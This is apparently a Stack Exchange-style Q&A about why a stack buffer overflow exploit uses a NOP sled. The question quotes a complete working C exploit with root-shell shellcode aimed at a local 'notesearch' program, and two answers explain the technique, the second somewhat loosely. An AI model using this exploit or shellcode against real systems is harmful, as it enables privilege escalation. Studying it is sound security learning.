3

In this example exploit the layout is [NOP-Block][Shellcode][Return Adress] But why cant I just overwrite the original return Address with the Adress to my Shellcode ?

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=270;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

   strcat(command, "\'");

   system(command); // run exploit
   free(command);
}

2 Answers2

3

NOP-slide is a technique used when you can't precisely predict at which offset the execution will begin when the shell gets executed, you have to pad the shellcode with nops in the preamble to ensure the execution doesn't start in the 'middle' of your shellcode.

The CPU simply slides through the nops without impacting any registers except the instruction pointer.

In your code, I think you're triangulating the return address from main in notesearch using the address of a local variable i in your current process. Based on the compiler and platform the actual location from where the execution starts in the copied buffer (which is also argv[1]) could be off by few bytes. So you need to add a slide of few bytes to ensure things work.

amritanshu
  • 777
  • 13
  • 25
0

NOP-block is used in the stack overflow exploitation because you don't may predict where the return address is placed. When you exploit vulnerability, you can't affect on the execution flow directly - it means that you can't run your shellcode, but can place the piece of code in the memory of vulnerable application and expect it to run by the execution flow. You can't predict the size of a function where vulnerable string is situated, so adding NOPs to the shellcode increases chanses to overwrite code at return address and succesfully execute your payload after the NOPs.

Prime Ape
  • 130
  • 3
  • 12